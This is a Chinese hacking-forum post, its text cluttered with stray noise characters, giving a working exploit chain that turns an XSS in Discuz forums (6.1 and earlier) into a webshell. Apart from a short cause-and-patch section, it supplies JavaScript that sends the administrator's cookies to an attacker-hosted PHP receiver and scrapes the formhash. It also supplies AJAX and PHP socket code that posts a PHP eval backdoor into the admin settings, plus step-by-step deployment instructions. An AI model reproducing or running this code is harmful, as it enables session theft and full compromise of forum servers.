Discuz XSS得webshell
, u& t$ i( M' \9 H1 B7 G* HBy racle @tian6.com
+ m. ^5 d" u1 d: U& k欢迎转帖.但请保留版权信息.$ z, n: T, K; Y, _5 c( M! O" Y
受影响版本 iscuz<=6.1.0,gbk+utf+big57 S- |1 f; `* r9 R# a' z. M
# {! c& p6 ?6 {
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
3 | G$ f2 n; A) j; T
/ F6 j" x% Y6 I3 |0 C3 y2 _
# U4 F l- o+ W! E" z! U* h3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* k/ A- A9 J2 s3 _" O当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
8 I$ z- h- V( s& W& w _; n$ ?. D# k+ ^
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..! T9 Q. F) E/ q- b
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS# i% U' R% M# _3 O5 V
" q, h$ Y& Z9 }4 Q# k
0 P' O# d3 n- A* j----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
" r' F* H6 g, I$ ] W; S5 d Q" w0 N
' G: c- F, Q6 n# f* Pproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.: [3 }0 e$ g, J* R- q
, v4 }! g s. n- C$ Nproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
3 T3 W: J2 p: Z9 J+ O
6 M% _2 ?0 z' r9 kproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.8 o9 m2 s9 r1 y$ T3 J+ {# ]
q# t4 p- M, f
2 ~! _* G: p# M: O4 E* d下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
n# B3 _9 f. D: W1 P- l
( G; L6 a6 O6 {- v1 [: W global $runwizardfile, $runwizardhistory;
7 s. |# E' |6 c) \
% A$ Y! t% B$ |+ N ~ $fp = fopen($runwizardfile, 'w');
% r' \( d* J+ ?$ j# y& |/ a9 E& H6 [8 Q) `
fwrite($fp, serialize($runwizardhistory));% o6 o( r/ }% M h6 a
# z0 y* T- [1 v8 T: t
fclose($fp);( X' V! |; d& Y/ ?" @9 {
6 q U2 {* O. }0 y7 x, L}
/ }/ L' y- C5 G8 o复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
( f" L, l) ?+ _7 W5 ?' C以下是修补的办法:function saverunwizardhistory() {4 ^9 r T* C- R7 ^. c$ J
4 a( x8 {: K) e( J/ w$ S! w global $runwizardfile, $runwizardhistory;
8 f* d8 j0 A- j' E$ _ q( y+ r4 h
% O5 p9 L9 N1 r! q5 X; @/ h $fp = fopen($runwizardfile, 'w');
7 I W! Q8 m1 Z, P8 s3 L0 g4 q
* d+ G$ L4 E8 k& K $s = '<?php exit;?>';
% I9 u- f) N" f5 T o
6 m& t6 U5 D& f: {1 o6 i- F $s .= serialize($runwizardhistory);
0 x* O `* ~5 U2 S' v4 f5 F# j* U# B6 ?
fwrite($fp, $s);- w- Q6 d% S( j" V
# ^% c+ s& x( _ fclose($fp);4 E$ g* G$ |$ j4 N, j
& D. j1 V6 j! r) V4 O}
1 Y, @" p, \0 O: w+ S8 O8 J复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
0 S6 M7 X- H- V# ?4 J& D5 d- ?$ b$ U, s" u/ Z/ y2 ?4 k' f
: ]4 O4 @& E. ]- j# ?+ z0 p& \% [/ x& a$ Y8 J6 ]
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
0 }% `: `$ n4 o* f
8 s( d& a# ~ Q$ X" J; L: s4 l2 @ U0 e$ e( a9 T
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
6 g0 Y+ i, o+ l/ y3 c `/ o h- v2 ^" G% u' \
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
! A+ q1 F" _, F
8 l4 }$ N" O5 f" b. P这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.0 V$ R5 i" I! u3 N6 M. H( T/ y
5 g2 b8 {1 X5 v: o$ T" J$ v D) x
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
( i0 d" T2 w9 l/ S3 W7 R! I% J" J3 n
var url="http://目标网站/admincp.php"; + X( N7 ]' X% u+ I# b
4 q4 i7 Q2 ` k8 V5 c8 r, [" A
/*获得cookies*/7 [. P5 \4 ]7 f) s8 L
; H4 m1 B* j# u+ B+ rfunction getURL(s) {. ~; Q4 }5 x( a' O0 Q4 x" O
6 `( s1 N3 ~" T, @: z$ o
var image = new Image();
, i0 y0 ?9 y4 L1 S! c# H# h% S# I3 t( d
5 [ C3 I1 Y3 w) `1 N9 ?! Qimage.style.width = 0;9 l( d# I& u+ x) S" }3 S
, F5 q( U! T! |; Wimage.style.height = 0;5 f! ]# D4 ~* F4 w) }
; q5 L# w3 m# w+ u# a) C- C Himage.src = s;
+ t9 u$ R6 k- t! D
5 _* z" |8 [ g& T# n}" o$ f# `% Y7 ]7 a4 k. ?0 N6 z
3 ^) {# U; O, e8 q, ?( M0 k
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php! U5 S2 D& n; s5 b" a% [
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
! s$ v1 `8 S T1 b. X复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
+ i+ Q" B: I: S$ o, U ^
0 y' |6 _; |4 d7 @' j0 B% i3 Q) e$ a) {# b5 z1 e
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";8 B) z0 K# Y7 e; u, c' d9 A& ?
- h7 c% W8 `3 a! u' S
! G _' }8 ^) J+ Q& d! W) S) G
; L% c, C8 N. z/*hash*/1 o2 d! j, e5 G& V% s- n
( ^' v- g- C& K! l
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
% Q: p, A4 f- j8 N( P% r+ L+ U, q; T$ N9 T1 q9 y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
! h3 X- Q, o& L/ o L/ M( {4 t. N! ]7 o5 T+ c1 f
xmlHttpReq.send();
( s7 n8 J/ R2 J/ i& ~# `! |5 v4 u! e
var resource = xmlHttpReq.responseText;* d& _. U% P2 X" H5 r s) F, u
' f# u0 R" \; K4 m- {# B2 bvar numero = resource.search(/formhash/);8 k- Z# L+ B" {9 A
* \9 i# { T. T/ J
var formhash=encodeURIComponent(resource.substr(numero+17,8));
8 [/ G1 @5 E- B1 F
$ m- x* P: a4 x0 h# X# X; y5 z' n
7 B& I* P1 G% \3 `7 C: t# h/ A3 H! R4 y5 d" E& h% V
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
6 q" _. E. a" q4 l& h' o% o( t/ O" L& u H
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 7 w$ X; g/ {- t/ h- _9 ?
" w4 k; V: `! z F% ^xmlHttpReq.setRequestHeader("Referer", url);! r+ P9 a$ s* b( A7 z$ U
1 g$ a7 u- }) r0 L* K. f+ V( fxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");9 ?% n; P0 O+ v
, m/ G( O }* B/ w) F* j3 O
xmlHttpReq.setrequestheader("content-length",post.length); - j* J! b5 B" z4 {
; W$ I$ u/ e- H) m1 W; T, o1 DxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
8 N& p! `. y: w" J# v- }2 U5 ^, U) F; i- M
xmlHttpReq.send(post);//发送数据
5 }3 r# P0 B$ |( l |; u复制代码这里HASH我假设正确,这样提交,也无须cookies
1 p m9 T. z6 n( c; R C
7 g9 W) B* T S* Y: X3 `再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);' D' R _, @5 n% E
7 Z+ u$ B6 C6 `; V" K
if (!$sock) die("$errstr ($errno)\n");2 _1 ~+ Q7 Z1 g' O" N- ] i% d
8 e! N5 G' r$ v" |$ l6 l6 G) J) Y; h$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
: S7 f- `: P- |- P2 x2 H; _! y( v# X' S
. W' i3 F( o5 _4 [
" f) F4 G( \, p; Xfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
: P( V! s8 u0 e0 V4 X: g W" O! A; j# D4 ]. m
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
0 m# C- j: Z" h) a. p& z6 n) v. F) N3 A$ K, G
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
7 e5 x! R7 g. a/ Q' x8 m; d7 Z+ W
fwrite($sock, "Accept-Language: zh-cn\r\n");% Q$ h" q# l4 |9 }9 V+ W) n. T
, v" @4 X! D+ K8 O% Xfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");- O8 @) o, D, S0 [( Y; d) ?4 G
$ I( i3 R, G" Q5 L; e; ^fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");/ [4 }5 a/ s; @; h
. u# x+ ^; z7 k! w
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
# k8 D0 i, o; A! n r9 r% V7 r c- W6 U Q6 l7 Z
fwrite($sock, "Host: $url\r\n");# i( A9 V6 t7 W* h! o
) J4 d& Z6 Q2 g4 _% {% u; ifwrite($sock, "Content-Length: ".strlen($data)."\r\n");
- L' a5 e) G3 s6 j& i2 Y6 O: E4 g+ H. P% S' D
fwrite($sock, "Connection: Keep-Alive\r\n");
$ z1 S# I0 u& o7 a3 h0 x( w' q: I% U' P7 m, z( r
fwrite($sock, "Cache-Control: no-cache\r\n");2 K5 `" v3 ^/ v$ G; T9 u3 b/ o
/ C6 |7 R. |/ m$ p
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
1 K3 ^* C- ^6 m! v2 S/ \: o2 C8 U) m! P7 e/ T" A
fwrite($sock, $data);
# n' u! J. C8 T+ w# _. }) C$ S5 O- `- u: ~% W5 k
Z; R& E9 x" r# X/ D ~
+ @* N' }) ?# n' i: w* e1 I
$headers = "";
/ Y# Y- r5 M' i A; D* y8 U% n9 D! I- O
while ($str = trim(fgets($sock, 4096)))
7 h+ k( z" K% [& n$ Y# Z
$ _' M' Y4 |+ e/ B+ @ $headers .= "$str\n";4 G2 l. B8 w/ j) y! C) R4 N
& M! j3 c; I6 c7 Xecho "\n";
# l. p2 k) c3 H7 v4 S) u7 t9 A/ h$ |) p
$body = "";
" a- Q1 Q+ F8 X' G, f: v. g' x2 p, b4 A J
while (!feof($sock)). `# \( i$ h5 y8 b) ^6 y/ w
* H9 N8 K: v+ N5 n4 W9 ` $body .= fgets($sock, 4096);; G z, }% t# N8 _% Q
* Y9 _, z# p+ C) Gfclose($sock);
* ]5 m8 v3 i% w5 C
4 T2 D. m3 C+ q8 Recho $body;
5 B. \7 k4 C1 Q7 k% ~. |, n1 b复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! R" q& ^9 h4 t, ?" e, R
' ^ z) w% L7 O2 P
% |! C; @ a* n+ [. m
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------2 g/ J4 K6 P8 i/ f T- C
1 C6 a5 \' P! f9 l! c
; a) F: a2 ?9 o8 X1 HP SOCKET利用方法首先打开racle.js/ s2 S0 o c+ U" Y% E! i7 y! U
9 L) E- l4 g8 @" m9 I
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
8 b' I: D% l2 s* V) Q3 ~0 |" ~% Q7 X: _* W0 m
# C6 _$ S' n: c( G9 _: x) s" t( ?* W. ~4 y" D- }6 r* Y& \" J
然后打开racle@tian6.php9 S! j, a% u$ Z' m# x4 V X4 f
! W: W7 y9 f6 u* C
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com$ z/ G7 p( H2 h
" X& g( q% f8 ^# v8 w( Q4 d7 E) w; _" I1 Q: M4 y
& W8 w( p% r6 s6 z
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
/ D1 R# u0 B3 H6 C! E6 i1 I/ s, f. n, W/ j: u6 x! A, ]
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
; O4 M7 ^4 w4 p- A0 J# p3 |4 P$ e* i. Y, e! Y( {6 h
为
8 p9 E. q7 }* T0 s: m7 o* @9 k, ~4 i/ d+ j
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
; \7 \2 P& y+ T5 Z# b. U复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址." ]* S& d& v& O' s; t+ h4 z
5 }8 C6 P9 X) i' W
. T0 W! P$ l9 g O8 G3 t* z
& H2 Q! c# ~. W如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- e" g7 t/ d. z2 h% w1 I
( M. @ C) _- lvar formhash=encodeURIComponent(resource.substr(numero+17,8));
4 j! j; p" q$ L/ J+ a4 d+ e2 x1 n& o9 t9 d ?& w7 D
为6 F, t% N. s1 N: t. k
' k3 [% k" W! Avar formhash=encodeURIComponent(resource.substr(numero+9,8));
1 {, z( F x5 [/ v. Z复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
2 |8 T: r/ e9 j P5 \8 ? z& w, r. n; i$ R4 U
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
- y; j' Q0 h7 ?) G1 V; B$ `% U+ e( z5 ?
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.4 @8 L- Z7 d) x/ w! L0 e
: x8 `$ ^$ {$ V/ W/ l不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.! N; d/ b9 b8 z( I7 O& L' l
5 O; u+ }: U$ u @3 ^% ~+ X! [
|